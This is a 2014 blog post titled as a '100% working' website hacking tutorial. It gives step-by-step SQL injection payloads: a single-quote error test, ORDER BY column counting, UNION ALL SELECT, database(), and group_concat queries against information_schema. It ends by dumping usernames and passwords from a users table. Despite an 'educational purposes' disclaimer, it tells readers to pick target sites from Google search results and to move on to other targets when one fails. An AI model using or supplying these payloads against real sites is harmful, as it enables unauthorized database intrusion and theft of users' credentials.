Monday, 7 April 2014

Test SQL Injection Attack | Website Hacking 100% working

Test SQL Injection Attack | Website Hacking 100% working


This tutorial Test SQL Injection Attack | Website Hacking 100% working is for educational purposes to make you aware of  test sql injection vulnerabilities that may be present in your website so that you may self test it in your owned website to improve the security. The person posting this or the this blog is not responsible for any type malicious activities performed by anyone else,,,,!!!

What is SQL Injection Attack? 

So let me give you some idea of what I am going to talk about and how we can perform Website Hacking using SQL Injection Attack.

There are many complex definitions you may get in various other sites,,, 

But I put it in simple terms,,,, You type some SQL queries or codes

[or whatever you wish to call it ]

on the address bar[where you type the web address of sites to be searched] 

to test vulnerable website,,,,!!!

If you find it vulnerable then BINGO,,,!!!

we will use some more SQL injection queries to Website Hacking using Test SQL Injection Attack ,,,!!!

So guyzzz who are related to computer science stream,,, If you found learning SQL boring this is one way to make yourself interested in.

And as far as others are concerned,,, please don"t worry I will be giving you some codes which you may use to Test the Vulnerability of the site,,,!!!

you must also learn how to prevent sql injection attack

So....... lets begin....!!!

Test SQL Injection Attack:


follow the below given steps carefully where I will be demonstrating website hacking using SQL injection attack. 

Step 1:

Search for any of the following terms in Google: 







Step 2:

Now for example say there is a website that you found in Google search say for example 

Open the website in a new tab,,,!!!

Step 3: 

To test if your selected website is vulnerable:

Add the ' (single quote symbol) after the site as follows'

and now Hit the "Enter" Key,,,!!!

If there is any type of "MySQL error" !!!BINGO,,,!!!

Then it means your target website is vulnerable.

Website Hacking using SQL Injection Attack:

Step 1:

After finding the vulnerability of your target site, use the ORDER BY command to extract the number of columns in the database.

Ex Code: ORDER BY 1-- 

Doing ORDER BY 1-- should always return the original page with NO error. 

Step 2: 

Then do ORDER BY 2-- 

If this shows the original page with NO error, continue.


Now try ORDER BY 3--

and so on, 

If this shows the original page with NO error, continue. 

Step 4: 

Continue increasing the ORDER BY number until you reach an error. 

For example, if doing ORDER BY 10-- returns an error, then there is a table which has NINE (9) columns, NOT 10. 

Always subtract ONE from the number that produced the error.


Next step is to use UNION & SELECT 

After getting the number of columns, let's say we have NINE columns. Then you have to type the following code: 

Code: UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- 

You should see a page with a few numbers scattered throughout it. If so, continue, 

IF NOT, try the following in which we have to add the " - "hypen or negative sign in front of the id value of our website:

Code: UNION ALL SELECT 1,2,3,4,5,6,7,8,9--

At the end if this produces the scattered numbers, continue, if not, STOP!!!

Choose another target website from the GOOGLE search and repeat the vulnerability test,,,!!!

Step 6: 

Now we use the database() command 

After you see the scattered numbers, pick one to exploit. Say the numbers on my page are TWO and SEVEN. 

I will choose the number TWO. After choosing your number, put database() in place of it in your URL as shown below. REMEMBER, I chose number TWO.

Code: UNION ALL SELECT 1,database(),3,4,5,6,7,8,9-- 

That should return some text in place of the scattered TWO. WRITE THIS TEXT DOWN, and move on.

Step 7: 

We use group_concat

This is where everything gets a little trickier! This is also the part where you will be extracting data. Yeah! Bingoo!!! :D :D *** Fist punch *** 

After extracting the name of the database using database(), type this where you typed database() in the previous step. 

Code: UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()--


In place of the scattered TWO, you should see a LOT of text separated by commas. These are called tables. The text varies by website, but you usually want to look for things like "admin," "staff," or "users." Choose the one that interests you. For this tutorial, I will choose "users." Now type this: 

Code: UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database()-- 


if you want the columns from ONLY one table, use this (courtesy of dR..EviL): 

Code: ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=< table name goes here in hex or ascii format >-- 

This should return even more text. These are called columns. Again choose what interests you, but for this tutorial, I will choose "username" and "password." 

The columns "username" and "password" contain the data we want to extract. To extract the final data, meaning, in this case, the usernames and passwords of all the users, type this: 

Code: UNION ALL SELECT 1,group_concat(username,0x3a,password,0x3a),3,4,5,6,7,8,9 from users-- 

Where it says "username,0x3a,password,0x3a" is where you would the name of your chosen COLUMNS, such as username and password, DO NOT replace the 0x3a, ONLY the username and password area. Where it says "from users--," replace "users" with the name of your chosen table such as the one "users." All of this will produce even MORE text in this format: 



The comma separates each set of data. 

 Test SQL Injection | website hacking must watch 

also visit:  SQL Injection Attack

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